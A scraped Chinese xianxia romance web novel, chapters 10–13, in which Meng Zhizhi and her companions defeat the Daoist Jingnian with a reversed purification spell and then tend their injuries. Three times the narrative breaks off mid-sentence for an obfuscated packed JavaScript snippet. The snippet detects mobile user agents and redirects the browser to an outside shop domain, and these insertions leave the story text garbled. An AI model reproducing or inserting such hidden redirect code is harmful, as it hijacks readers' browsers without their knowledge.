二人面面相对,冥漆想逃,脚却动不了。 他看着赢破朝他走过来。 赢破半张脸已被烧得露出白色骨骼,宛如修罗恶鬼,而他的治愈能力又在起效,让人联想到一个永远打不死的恶鬼,心中更加觉得可怖。 冥漆急得汗毛倒立,冷汗不止,喊道:“你别过来啊!” 赢破脸越来越臭,他也不能控制自身,只见自己贴离那只臭老鼠不过一尺距离。 净念道师盘腿在半空,他闭着眼,像打坐一般,周身有无形之盾纹挡住金箭。 他幽声一出,仿佛放大了数十倍,道:“掌。” 啪—— 冥漆一掌结结实实地打在赢破完好的半张脸上。 那声音清脆响亮。 赢破被打偏了脸,他咬牙切齿道:“你、该、死。” 他转过头,显出那红色血管交叉下隐隐可见白色骨骼和鲜嫩肌肉的半张脸。 冥漆看得想吐,双腿跟着软了下去。 他疯狂摇头:“不不不是我,是是那个道士控制我。” 又听净念道师道:“你杀意太重,让你与他人情绪相通,能平息你的杀意。” 赢破心中翻涌着冥漆恐惧、害怕、想逃的情绪,扰得他脑仁疼。 他舌头被同悲同喜咒压制得死死的,冥漆捋不直舌头,他也跟着不行。 净念道师抛下一问。 “你心中可有悔意?” 赢破破口大骂:“悔、你、妈!” 净念道师道:“再掌。” 冥漆脚想后溜,手却往前伸。 啪—— 又是一巴掌。 他哭天抢地道:“救命啊!谁来救救我!” 赢破又被扇偏了头。 他接连两次被打偏了脑袋! 脸边黑色碎发杂乱,眼中是戾气横生,胸中杀意不止。 他身侧捏紧双拳,脖颈青紫色的血管暴起。 “你们都去死吧。” 此时,赢破竟然有挣脱之感,魔爪朝冥漆伸出 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咒术解除,二人再不用同悲同喜了。 赢破和冥漆重伤倒在地上,不能动弹。 孟枝枝解咒之后,自己也几近力竭,只能将护她剑插在地面,勉强支撑自己不倒下去。 不远处,净念道师承受了大部分的金箭,看上去还能站立,步伐略微有异。 孟枝枝更加意识到,双方实力悬殊。 净念道师见自己法铃已毁,捆仙绳也被他们弄断了,心中觉得大亏。 这三人他必要到手。 他道:“你竟然能坚持这么久。” 孟枝枝舔了舔发干的唇,声音微微喘息道:“坚持这么久,不很正常?” “而且,老头,你活了恐怕有上百岁了吧,打我们几个小孩儿,你害不害臊?” 净念道师不屑道:“不要以为激将法会对本道师有用。修行之人,从来不以皮相取人。” “二神,出来罢。本道师累了,就由你来给他们一个痛快。” 孟枝枝心底一凉。 一个头戴面具的人出来了。 这是要开始跳大神了。 二神个头矮小,右边腰间配一面红鼓、一个鼓槌,脸上戴着青黑面具,那面具似神似魔,像是阴森凝视,说不出的怪异。 净念道师就地盘坐,敲着木鱼,念着道经,低沉的声音像魔咒,每个字都听得清,但脑子很难记住,想跟着念也跟不上。 这就是咒语的精妙之处,咒语难记、难念,所以并不是任何一个人都能学得会,除了勤加练习,天资更加重要。 只见他每敲一下木鱼,孟枝枝就觉得身上酸痛更强一分,五感都被放大,到最后酸痛如麻,浑身宛如有蚂蚁攀爬啃咬。 冥漆疼得在地上打滚,“好痛,别敲了,好痛啊。” 赢破靠在墙面躺着,掩着眸子,眉头紧皱,他的脸色惨白成一片,四肢微颤,唇瓣失色,随时都要昏过去。 二神敲击鼓面,跳了起来。 舞步怪异,似群魔乱舞,张牙舞爪,一会儿摇头晃脑,朝三人探身而来。 二神用鼓槌敲击鼓面,每咚一声,鼓面振动,上面一层深红色粉状四散开来。 哐当一声。 护她剑掉落在地。 孟枝枝倒在地上,七窍流血。 11. 第 11 章 孟枝枝手似有千钧重,颤抖地从香囊中掏出白瓷瓶。 她口含鲜血,说不出声,只能双唇嚅动。 “天地玄宗,万炁本根。广修万劫,证吾神通。三界内外,惟道独尊。视之不见,听之不闻。金光速现,覆护吾身。” 白瓷瓶口涌出金色的咒水,金水化作一道金光罩衫现诸她身上,隔绝了二神敲鼓带来的攻击。 她将鲜血吐了出去,大口大口喘气。 不待停歇几口气,又将白瓷瓶对准赢破和冥漆,疾速念出刚刚的金光神咒。 如今他们三人都有了金光防护。 但,赢破和冥漆都已丧失战斗力。 她能看见那二神的攻击是冲她来,净念道师敲木鱼念经想放大他们的五官感识,他们身上的伤口越痛就越没有反抗之力,但二神独独攻击她,想来也是知道她还能再战。 孟枝枝猛地给自己嘴里塞了好几颗咒枣,恢复体力。 她手执剑,对着二神。两人宛如擂台上的两个武士。 孟枝枝刚举起护她剑,就见二神敲了一下鼓面,他脸上的面具一变,从青黑色变成了赤红色,表情是满脸怒火。 护她剑上突然冒出一根绿芽,绿芽瞬间长成枝桠,很快枝桠一分三,三分九地生长。 孟枝枝感觉手中剑的分量顿时变得很重,胳膊都快要拖不起来。 护她剑护主,自我焚烧,剑身烧出紫红的火焰,然而那枝桠烧不断,只能烧掉上面的绿色叶子。 这样也使得剑身的重量轻了一些。 孟枝枝勉强能挥剑。 她一剑劈向二神的面具,二神闪躲,又一敲鼓,鼓声比刚刚要重。 护她剑身上的枝桠一瞬又冒出绿叶,还长出了朵朵深红色的夹竹桃。 孟枝枝心道不好,夹竹桃有剧毒。 刚刚难道那鼓面上的深红色粉末是夹竹桃的花粉? 护她剑紫红色火焰又冒了上去,将绿叶和夹竹桃烧得干净,只留下黑焦的枝桠。 孟枝枝心知,得速战速决。 不能让二神有敲鼓的机会。 她提剑近了二神的身,几乎缠着他。 二神的动作明显迟缓了一下。 难道他怕自己剑上的紫红色火焰? 孟枝枝心里有了点底气,开始近战攻击。她不偏移以二神为中心三尺的地方。 她快剑斩向二神的鼓,二神一挥鼓槌,那深红色的鼓面眨眼跑到了左边。 看来那鼓面能自己动。 她又斩向二神持鼓槌的手,二神立马敲了一下鼓面。 孟枝枝一个灵活转身,向他身后逃去,朝他背后一砍。 只是她动作慢了一点,只砍下面具后的一截绑带。 待二神再一转头,那面具上的怒脸变成了蓝色的悲脸。 孟枝枝朝他正面刺了过去。 二神用鼓槌去挡剑。 他在护着他的面具! 孟枝枝毫不忧虑,连续朝他面中砍去。 二神毕竟靠敲鼓攻击,敲鼓速度比不上孟枝枝挥剑的速度,他为了护面具,鼓槌挡在身前,被护她剑削断。 他连连后退,孟枝枝乘机刺进面具,剑尖往上一挑,面具飞了出去。 那面具下,一张悲哭的脸现了出来。 孟枝枝愣道,“小桃仙?” 小桃仙是夹竹桃精,和冥漆一样,都是她在皇宫认识多年的朋友。 小桃仙边哭边骂道:“孟芷,你快宰了那臭老道士,他娘的,竟然利用本姑奶奶跳大神害人,这不是毁我道行吗!” 原来又是傀儡术。 到了此时,孟枝枝总算知道为什么净念道师这么厉害,又不被仙门之人针对。 在这个世界,修行之人一旦杀了人,就会沾染邪气。但他用傀儡术控制了妖怪,让妖怪杀人,而自己手不染鲜血,就可以规避这条规则。 小桃仙如今的表情和面具上的表情一模一样。面具哭,她便哭。 孟枝枝心道,难道是同悲同喜咒? 这面具似乎不一般。 她试着将面具一分为二,但只能在上面留下几道深深划痕。 这面具戳不破。 她心中杂念一过,护着身后一妖一人,对小桃仙道:“你现在能控制你自己的身体吗?” 她多有提防,实在不得不防。 小桃仙流泪不止,骂道:“我难道还会害冥漆吗?还好你将面具挑了下来,我控制不了情绪,身体还勉强能控制。哼,我可不像冥漆那个大傻瓜,我比他厉害。” 冥漆这时躺在地上弱声道:“枝枝,是小桃仙告诉我有道师要来驱你和小皇帝的邪。但她突然失去了联系,我就想着先一个人救你出去,再寻她。” 小桃仙听了,怒道:“还不是这个臭老道士掳了我!” “我可是玉坤山弟子,老道士,你不怕我师门向你寻仇?” 净念道师幽幽地睁开了眼。 “玉坤山算什么东西?” 小桃仙道:“哈?好大的口臭!我玉坤山乃一流仙门,你一介杂碎散修岂敢妄议!” 她说完瞅了一眼孟枝枝,“没说你跟你师父,你闭嘴。” 孟枝枝:“……” 她没打算说话来着。 而净念道师不知被触了哪根龙鳞,他露出阴沉的表情,道:“你这桃精,冥顽不灵,屡次出言不逊,玉坤山作为仙门,不好好育人,引妖入道,洞府中妖怪众多,美其名曰万物平等。让你这低劣妖精修仙,简直亵渎天道。本道师今日就要替天行道。” 小桃仙气得牙痒得很,对着孟枝枝道:“孟芷,快来揍他,把他揍得连妈都不认识。” “我来助你。” 她一双深红色眼睫骤然长长,眼珠也变成了深红色,半边脸上显出夹竹桃花纹,妖冶又绝色。 孟枝枝提着护她剑,剑上的枝桠焕发新生,不过这次枝桠不再四处乱长,而是顺着护她剑的裂缝补了上去,紧贴剑身,远远看上去还以为剑上刻有桃枝纹。 她觉得这应该是小桃仙的本体元神。 护她剑的重量一轻。 她以剑起势,郑重道:“护她,就交给你了。” 孟枝枝不是剑修,在剑术上,之所以能与净念道师打斗,是因为剑灵的存在。 剑灵为剑而生,天生会用剑,就如同人操控自己的身体,行云流水。 剑身亮了一下红光,以回应主人。 一剑一人,心灵相通。 净念道师从地上飞起,二人打斗起来。 趁着他们缠斗,小桃仙和体内的傀儡术抗争着。 她紧密关注着战事,目不转睛,冲一旁道:“你们两个死了没,没死赶紧滚起来。让孟芷一个女孩子去单打独斗,你们两个男的还趴在地上,丢不丢脸?” 冥漆一见小桃仙出现,身上的伤也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958183|136670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得有多痛了,他挣扎着爬起来,摇摇晃晃地走到小桃仙身边,仿佛花了几百年那样艰难。 再颤颤巍巍掏出咒枣,那手抖得跟筛子一般。 “水灵,你受伤了没有?要不要吃几颗咒枣,刚刚枝枝偷偷塞给我的。” 小桃仙瞪了他一眼,“说过多少次了,叫小桃仙,别叫我水灵。你叫我水灵,别人一听不就知道我是个妖精。我以后可是要修炼成仙的!” “还有,你这个没出息的,只会躲。你躲来躲去有什么,还不是被人追着打了个半残?” 冥漆被戳自尊,也不觉得难受。 他挠了挠头,笑呵呵道:“我知道,还是要靠你。我没你厉害。” 小桃仙又看了一眼地上的赢破,不知想起了什么,闷哼一声,道:“孟芷跟你一样也是个蠢蛋,你一个妖丹尽碎的废妖也敢单独来救人,而她为了这么一个废物留在人界,白瞎了她的眼。” 冥漆听小桃仙这么一说,吓得赶紧去看赢破,还好对方瘫在地上一动不动,早已不知什么时候昏迷过去,不然他怕赢破这时趁着小桃仙身形不便,要她的命。 他胳膊冒出一层鸡皮疙瘩。 恩,这个鬼皇帝肯定会跟人拼命的。 他连净念道师都敢冲呢! 小桃仙眼神凛然。 她能清晰地看见,孟枝枝和净念道师打斗正占下风。 毕竟孟枝枝修炼的不是杀生之术,而是治病救人之术,也就是让万物生长之术,主净化驱邪,而非与人相斗。 剑灵会因主人强而强,也会因主人弱而弱。哪怕她加了半个本体元神在剑上,让护她剑身增添夹竹桃剧毒,但孟枝枝没有那个臭老道狡猾,总是不能一击毙命。 臭老道活那么长,修为在孟枝枝之上,孟枝枝体力消耗太快了。 局面渐渐难看起来。 小桃仙道:“喂,你还有力气没,快助我脱离这傀儡术。” 冥漆答:“有。” 他将手放在小桃仙肩上,眼冒绿光。一阵充沛的灵气涌进小桃仙体内。 小桃仙道:“别逞强,你那妖丹碎片要是再炸开,别赖我头上,我可不会给你修。” 冥漆心想,小桃仙果然是面冷心热。 他道:“我能坚持得住。” 小桃仙再不多话。 孟枝枝大口大口喘气。 她感觉自己浑身像浸泡在水里,抬起一只腿都觉得费力。 她一直在强撑着。 与净念道师几个回合下来,护她剑破损得越来越严重,那蛛网状的裂缝遍布整个剑身,如果不是小桃仙用本体元神强行缝补住,恐怕只需要一击,护她剑就要断裂开来。 净念道师道:“你还要打?” 孟枝枝下巴滴着汗水,眼神坚决道:“打。” 她保护同伴的心不会因难而退! “你与你师父真像。” 孟枝枝想他自诩厉害,但她从来不知道。就算是上一世,他也是匆匆出现,又匆匆离去。赢破成了魔君之后找过他寻仇,他最后是死在了赢破手里,下场属实不太好。 他如果真见过师父,那师父为什么从来没告诉过她? 孟枝枝道:“我师父如果知道你伤我,一定不会放过你。” 净念道师笑出几声,道:“看来你师父什么都没告诉你。” 他飞到半空中,“与本道师相比,她又算什么东西?” 12. 第 12 章 净念道师从怀中又掏出一枚法器——一顶通体白色的玉如意。 那玉如意让孟枝枝感觉到陌生至极,她两世都未曾见过。 她心头猛地察觉不妙,提剑往后奔去,对小桃仙他们喊道:“快跑!” “晚了。” 他将玉如意抛到空中,玉如意发出刺眼的白光,它身上宛若有云浪涌动,似一道强大的神意降临。 净念道师念诀,双唇动得飞快,又是什么天啊山啊,又是什么乾啊神啊,听不清楚。 但落尾几句掷地有声。 “凶秽消散,道炁常存。急急如律令。” 孟枝枝很快意识到这是净天地神咒,是在法术中几乎最难的净化咒语。 净天地,便是净化天地,使万物回到初始状态。 混沌生天,万物初蒙,鸟兽懵懂,一切生长化为无。无就是婴儿,胚胎,一颗待孕育的种子,无知净念。 这种大净化术,是孟枝枝还没学得会的法术。 他用净天地神咒一下化去了她的金光护体。 孟枝枝感觉身体里流动的血液停滞一瞬,紧接着血液沸腾,血管仿佛要爆裂开来。 她毕竟是人,是人必有各种七情六欲、爱恨嗔痴,但这些情念也是她自己本身,这一化,就是化她的本身。 她的身体被人撕扯到极限,每一处都让她痛不欲生,护她剑见状,全身泛着红光,马上用剑身托住她的后背,不至于让她倒在地上。 小桃仙刚刚脱离傀儡术,双手起印,一道桃花色的光粉,卷动着周围气流,冲起一道屏障,护着了身后的冥漆和赢破。 从这些桃花色的光粉中还分出一道分身包裹在孟枝枝周身。 小桃仙道:“怪不得你都活了上百岁没成仙,还能老不死,原来是会净天地神咒让自己返老还童,但我天生地长,是花,是树,也能是种子,你再化能将我化去哪儿?” 小桃仙手印结着,走到孟枝枝身旁,低声道:“撑着,别死了。” 孟枝枝眼睛红了一圈,眼睫上夹着泪珠。 她真的好痛,好痛。 她哪里都痛,痛到撕心裂肺,痛到再也忍不住哭。 她一直坚忍着,为了同伴要硬撑着。 她又痛又怕,怕自己会死,同伴们会死。忍着恐惧,一直忍到刚刚,这神咒一化,使得她再也忍不住,满脸都是泪水。 她气息奄奄,艰难道:“小桃仙,你小心,那个玉如意是道家神、神圣法器,净天地神咒威力巨大,千、千万……” 小桃仙不悦道:“不能说话就别说了,他法术再怎么厉害也是人,不过是个活了上百岁的糟老头子。” 她横在孟枝枝身前道:“我是玉坤山的弟子,更是活了三百年的小桃仙,保护你们几个蠢蛋绰绰有余。” 小桃仙话音刚落,就冲了上去。 孟枝枝目光也随着她,身体不由地想跟着翻过去。 她想抓住小桃仙的衣服,拦住她,但疼得根本动不了。 孟枝枝躺在护她剑上哭,又对自己愤怒,锤了一下地面,道:“不许哭,还没结束呢!” 泪眼朦胧中,一只修长的手附到她脸上,为她擦泪。 她一时愣住。 赢破一张苍白的脸,眉头紧紧皱着,只是那眼神似有千般疼痛,他也被影响得很严重。 孟枝枝心中震动,下意识止了哭声。 赢破也不知道自己为什么会这样,在净念这法术之下,他看见孟枝枝哭,心中万般难受滋味,只想为她拂去泪水。他不知道自己现在看起来什么样子,更不知道自己眼睛里正透露着一股心疼。 他道:“别哭了,真丑。” 孟枝枝却傻愣愣地看他,眼泪从脸庞滑落下来,嘴不由地撅了起来,少见地在他面前露出少女娇俏的姿态。 她道:“你才丑,你最丑!事情还没结束,我才不会放弃。” 赢破又静静地将她脸上那滴的泪珠擦去。 她现在计较不了太多,道:“你快把扶我起来,我得看着小桃仙。” 赢破将她扶起,让她靠在自己的怀里,他身上的咒枣也用光了,凭借着一股意志力来到她身边,现在能做的只有如此。 孟枝枝现在没有男女大防的想法,她和她的伙伴们如今都命悬一线,如今正是生死存亡关头。 每个人都深知这点,拼了命护住彼此,想要活下去。 她靠在赢破怀里,紧张地看着局势。 现在吃多少颗咒枣都没有用了,咒枣只能治伤,而在净天地神咒这种强大法术下,万物归真,返璞归真又怎么能算得上伤呢。 上一世难道净念道师也是用的净天地神咒将赢破炸成那个样子? 孟枝枝心里突然有了答案。 只是为什么最后净念道师放弃了?赢破是神仙肉,依照净念道师如此贪婪的个性,最后怎么会不要了? 一定还发生了什么。 小桃仙入了玉坤山有段时日,她深知净念道师念出的净天地神咒之所以能起这么大的威力,源于那顶玉如意法宝。 世界之中,人跟妖魔鬼怪等精灵不同,妖魔鬼怪有天赋神通,自身就可以变为法器,不需要咒语,就能使用法术。 就像是剑灵,能不说咒语,就对自己的剑身能用法技。 但人若想要使用稍微厉害一点的法术就得要咒语,光咒语辅助不行,必须借助法物才能实施得出来,比如符水、咒枣、法铃、捉妖绳。 只有至纯至真的法器,才能催使这么强大的力量。所以要破这咒术,除非打破玉如意。 小桃仙直冲着那顶玉如意而去。 净念道师看出她所想,道:“低劣妖精,也敢玷污神器?!” 他再次念起净天地神咒,这次念得飞快,那顶通白的玉如意在空中周身的云浪翻滚,声势浩大,仿佛要把小桃仙都卷进去。 小桃仙身后惊现绿色翅膀,朵朵妖媚的夹竹桃在上面盛开,她大展翅枝,翅枝尖尖反倒往前越来越长,像长了倒刺,往玉如意的方向包裹进去。 现在就看是玉如意先吞没小桃仙,还是小桃仙先吞没玉如意。 但玉如意似乎看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958184|136670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上去更胜一筹,它周围云浪泛出的白光刺眼,几乎要将小桃仙和她的翅膀吞噬。 远远看去,小桃仙似乎在向一颗热滚滚的白太阳扑去,有种灰飞烟灭之兆。 此时冥漆大喊道:“小桃仙!” 他赶紧释出妖力,助小桃仙一臂之力。 孟枝枝也拼劲全力,对护她剑道:“护她,快把小桃仙的元神还回去!” 护她剑听令,周身燃烧紫红色火焰,剑身缝隙上碧玉的枝条下意识松了触手,往小桃仙的身体里飞去。 元神离剑,护她剑也失去红光,剑身变回普通吊坠,剑身遍布着像鱼鳞一样密密麻麻的裂缝。 护她剑再不能用了,剑灵也彻底没了反应。 孟枝枝将它捧在怀里,眼神悲伤。 这是她的选择,再来一次,她还是会这么做,为了自己,也为了同伴们。 她心中默默跟师父,跟护她剑说对不起。 她将它好好放回香囊之中。 屋内白光灼烧刺眼,小桃仙的翅膀在燃烧,他们所有人都要被吞噬进去。 她忍不住吐露心声,道:“我真的没有办法了。净天地神咒太厉害,是净化最强术,我刚刚偷偷试过,咒语太难了,我记不住。如果我会了,也许能让玉如意听我的命令,虽然几率很低,但也有希望。” 法器一般认主,除非先驯服法器,才能让法器更换主人。她没有玉如意那样的法器,如果剑灵还在,或许还能充当。 说着说着,她心中后悔无比,道:“我该好好听师父的话学习法术,不该犯懒,要是学得会了,就不会这样了。” 一道身影被白光击飞出去。 小桃仙身后翅膀粉碎成灰烬,她躺在地面上,身下是一片血色,她的身体渐渐化成了拇指姑娘大小。 冥漆冲了过去,将小桃仙捧在手里护住,“小桃仙,小桃仙。” 小桃仙喷出鲜血,看见自己变小成这样,她向来最愤恨自己真身只有拇指大小,好不容易化成人形,结果又给这个臭老道打回原形了。 她咳嗽好几声,骂道:“冥漆,你不许看,看了就给老娘自戳双眼!” 冥漆见小桃仙还能骂人,赶紧闭住双眼,“我不看,我刚刚什么都没看见。” 小桃仙盘坐在他掌中,双手环抱胸前,面色不虞。 刚刚净念老道先是受了赢破的金箭,已是重伤,如今她用自身当法器,给他重重一击,他早该被打得半死。 不过玉如意毕竟是道家神圣法器,护住了那老道。 但老道也受伤不轻,想来短时间不能再念法咒,还能再拖延些时间。 在他下次念出净天地神咒前,得想出一个办法。 她对孟枝枝道:“我不会咒语,你能不能念会他的咒,我来充当你的法器。他不是喜欢返老还童吗,姑奶奶让他返老还童到底!” 孟枝枝艰难开口,道:“小桃仙,我不会。” 眼看走投无路,小桃仙也气道:“你怎么这都不会!” 孟枝枝双唇抿得紧紧的,道:“对不起。” 13. 第 13 章 此刻,赢破突然开口说了话,道:“孟芷,你会。” 小桃仙眼神一亮,“傻狍子,没想到一段时日不见,你也会说笑话了。快念咒,老娘可是三百年妖精,不比他那破如意强?” 孟枝枝回过头,一脸“你在乱说些什么”的表情,道:“我真的不会。” 赢破道:“我记得。” 这下轮到孟枝枝真的震惊了。 她道:“你记得?” 赢破看向净念道师的眼神冷漠,“恩。” 赢破开始道:“我念一句,你跟一句。记着,反着念。” “急急如律令。” 孟枝枝立马跟着念道:“令律如急急。” “凶秽消散,道炁常存。” “存常炁道,散消秽凶。” 小桃仙嘴角一勾,整个人呲牙咧嘴地爬起来打坐,看冥漆傻乎乎还盖着眼睛,道:“蠢蛋,别傻愣着,快借我点灵力。” “我来了!”冥漆赶紧将身体里的灵力源源不断输送给小桃仙。 小桃仙将自己化身为一支桃枝,桃枝枝头开出一朵艳丽的夹竹桃,飞去孟枝枝手里。 孟枝枝拿起了桃枝,眼神坚毅,双手结印。 “魔王束首,侍卫我轩。” “轩我卫侍,首束王魔。” “按行五岳,八海知闻。” “闻知海八,岳五行按。” 地面凭空起了一阵夹着花瓣的风,依托着她和赢破,她胸腔血液沸腾,疼痛难忍。 赢破在她身后,努力将她的身体支起,在她耳边又念一句。 她立马反念出来。 桃枝上露水晶莹,散出点点光辉,是一种柔和的光。 那光比玉如意的白光更加柔和、包容,却拥有着无穷后劲,能以柔克刚。 那柔光不断扩散,壮大,一点点挤压着白光。 净念道师正在打坐恢复,惊异道:“反念咒语?” 他咽下一口未来得及吐得出的鲜血,不顾伤,再度念起净天地神咒。 玉如意起了反抗之势,但始终难敌那柔光。 只因为净念道师慢了一步。 在赢破的引导下,孟枝枝念咒念得越来越快。 孟枝枝她本就聪慧,能在赢破念咒的瞬间反应过来,反念咒语,足以见和一般人不同。 而随着逐步熟练,嘴皮子已经养成下意识反应,不待赢破念出,她已经能念出下一句。 身上疼痛令她感觉脑袋要炸开,但她已不管不顾,在这场不是你死就是我亡的战斗中,她一心只想冲破那道玉如意,打败净念道师。 那柔光触及玉如意的柄首,原本纯白无暇的玉如意变灰变硬,身上长满了斑驳青苔,像一瞬间老去。 法器受损,神咒威力大大减弱,难以逆转。 净念道师见状,便想抛了玉如意,往屋外跑。 孟枝枝怒道:“往哪里逃!” 柔光瞬间迸发,在屋子里炸裂开,散落一地星光。 净念道师身形一凝。 他艰难转头,束发的树状钗掉落,白色头发瞬间长长,遍及地面。 他的容颜加速老去,脸上的褶皱像溶液一样掉下来,层层叠叠地盖住了眼睛,牙瞬间全部落地,嘴往里缩。 他的声音老态嘶哑,“本道师还未修炼成仙!我不甘心,我不甘心!” 下一瞬,他坠落在地,轻得像一件瘦巴巴的软皮。 孟枝枝缓缓回过神,她呆呆地,不敢相信净天地神咒反念之后竟然会使一个人瞬间老死。 那个世外高人一样的净念道师,现在变成了地上一堆不明形状的皮囊,地上一只黑色蚂蚁嗅了嗅,呼朋引伴,不一会儿一堆密密麻麻的黑蚂蚁纷纷爬上去啃噬他,很让人觉得恶心。 但她转而一想,净念道师本就活了上百岁,若作为普通人早该死了,就因为他修行多年,才能活这么多年。 如果不是因为他们,恐怕以净念道师这么高的道行,终究能登上仙梯也说不定。 到时候她和小桃仙他们是不是就死定了? 这样想来,心里一阵后怕。 还好除掉了。 空中,那只玉如意缓缓坠落下来。 孟枝枝伸手去接。 作为道家神圣法器的玉如意已经被反咒催化,原本纯白的玉质变得僵硬如石,灰如烟色。 它彻底废掉了。 “这是千霄宫的祥云纹?”小桃仙的声音在耳旁响起。 小桃仙没幻化回原形,比起回到拇指姑娘状态,她宁愿当一根桃枝,她盯着玉如意柄首看。 孟枝枝细看那残破不堪的云纹,道:“你确定吗?” 小桃仙翻了个白眼,道:“你还不信姑奶奶我?这祥云纹我都要看吐了,在这里也能碰见,真是晦气。” “千霄宫仗着自己仙门强势,目中无人惯了,上次仙家弟子猎兽大赛,千霄宫为了赢,伤了我玉坤山五十六位弟子。尤其那个千霄宫贤剑真君座下大弟子云庭气焰嚣张,特别看不起我们这些妖修,要我说,他们人修有什么了不起!” 孟枝枝想起玉坤山是仙门之中的另类,其他仙门皆是人修,而玉坤山的弟子几乎全是妖修,正因为有玉坤山在,才让仙界和人界对妖怪有丝改观,毕竟妖修一心向道,也的确做了不少有利于百姓的事。 小桃仙甩了甩头发道:“这玉如意多半是那个臭老道偷来的。千霄宫挑剔得很,长老弟子个个都乌发靓丽,他这么又老又丑的肯定看不上。” 孟枝枝心想,上一世赢破成魔寻仇回来,守着她讲了一夜他是怎么将净念道师活活折磨而死的。 期间从未对她说起过这顶法器。 如果它与千霄宫有关,净念又与师父认识,那它和师父有关系吗? 她想了想,还是将玉如意收好。 身后,赢破弯下腰,重重地咳嗽起来,薄削的身体变得很重,令他索性直接仰躺在地面上。 孟枝枝连忙为他把脉。 这次战斗,他爆发出来的杀意让所有人都吓了一跳,那净念道师恐怕也没曾想过能被一个凡人重伤。 小桃仙向孟枝枝传来密音:“这个小皇帝不对劲,他没有道行,射出来的金箭威力不似初学者,你跟他什么关系?” 孟枝枝密音回道:“没有任何关系。” 小桃仙道:“我说傻狍子,你当我瞎啊还是聋啊,那小皇帝分明对你有点意思。我怎么听冥漆说你是自己跑来嫁他的?” 孟枝枝内心无语:“不是你想的那样。” 小桃仙再想八卦,孟枝枝转头将她塞回冥漆手里。 她对赢破道:“你的身体虽然能够自行治愈伤口,但无法自行排出筋脉中的淤血,先不要乱动,等我为你疗伤,把淤血除干净,就没事了。”她故意探寻了他的心脉,确认他的胸膛里的的确确有一颗心脏在跳动。 这是怎么回事?她分明记得上一世他的确是没有心的,难道因为她重生了,所以赢破也有了改变? 但无论怎么改变,也不可能陡然长出一颗心来。而且为什么偏偏是他? 这实在讲不通。 “我先拉你起来。” 她将手向赢破伸过去。 赢破目光落到她一脸狼狈灰尘,眼神柔和,纤细干净的右手笔直地朝着他。 他一把握住那手,一股暖意从掌心弥漫开来。 她的手很软。 孟枝枝拉起他,将他的手扣住,不知是谁先张开手指,使得这一扣不知怎么变成了二人十指相扣。 她以为是赢破坐不稳,拉着她借她的力,也没多想,反而紧紧拉住他。 她闭上了眼睛,赢破却睁着眼看她。 目光落到她光洁的额头、柔软的脸、小巧的琼鼻,还有淡粉色圆圆的双唇。他心尖突然有点麻麻的,像被鹿蹬了一脚。 他皱起眉头,道:“孤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958185|136670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,心口不舒服。” 这次灭了净念道师,不管她再怎么防备他,事实在此,如果不是赢破,他们根本逃不出来。就冲小桃仙和冥漆都保住了命这点,她心中也对他有感谢。 孟枝枝安抚他,就像她安抚过的那些病人一样道:“是淤血还没排干净,再忍一忍,很快就好了。” 赢破盯着孟枝枝看。他目光落到二人十指相扣,孟枝枝正紧抓着他的手。他没有撒开她的手,反倒让她一直抓着。 小桃仙和冥漆在一旁偷偷看着。 她道:“还说没一腿呢,你瞅瞅那小皇帝,眼睛都要黏在傻狍子身上了。” 冥漆不敢看赢破,心里依然几分瑟缩,劝道:“小桃仙你别看了,非礼勿视,你这样会弄得枝枝很尴尬的。” 小桃仙道:“我这不是关心她呢嘛!她傻,你也跟着她一块傻啊?那小皇帝一看就不是良人,身世曲折,体质似鬼,说是南元国皇帝,你看住这么个破地方,那些太监都不听他的,当傀儡还差不多。” 冥漆想起一事,道:“那我们把净念道师杀了,现在该怎么办?” 小桃仙道:“要我说,你和傻狍子都跟我去玉坤山。” 冥漆想起自己尽碎的妖丹,老实道出事实:“玉坤山不会收我,我天资不行。” 小桃仙顿了一下,立马道:“不是说了我会帮你修好的吗?这次我带回了仙草,听说对修复妖丹很有帮助!再说什么天不天资,你只不过是妖丹坏了,等你妖丹恢复,修炼速度不比那些人类快?而且我现在可是玉坤山弟子,那些人类还得叫我一声师姐,有我罩着你,你怕什么?” 冥漆笑不露齿,傻里傻气。 “小桃仙,谢谢你愿意罩我。” 小桃仙刚要得意,冥漆又道:“但是,皇宫里有好吃的好玩的,那些凡人也看不见我,我比其他妖过得都滋润,你看你修炼那么累,都快跟螳螂怪一样瘦了。我还是呆在皇宫里比较好。” 小桃仙气得骂道:“你这没出息的东西!” 冥漆赶紧哄她。 孟枝枝为赢破排尽淤血后,她缓缓睁开眼。 她问赢破道:“心口有舒服点吗?” 赢破沉了下巴。 她道:“那就好,你再多休息会儿。” 她十指一张,微微挣脱,利落地松开了手。 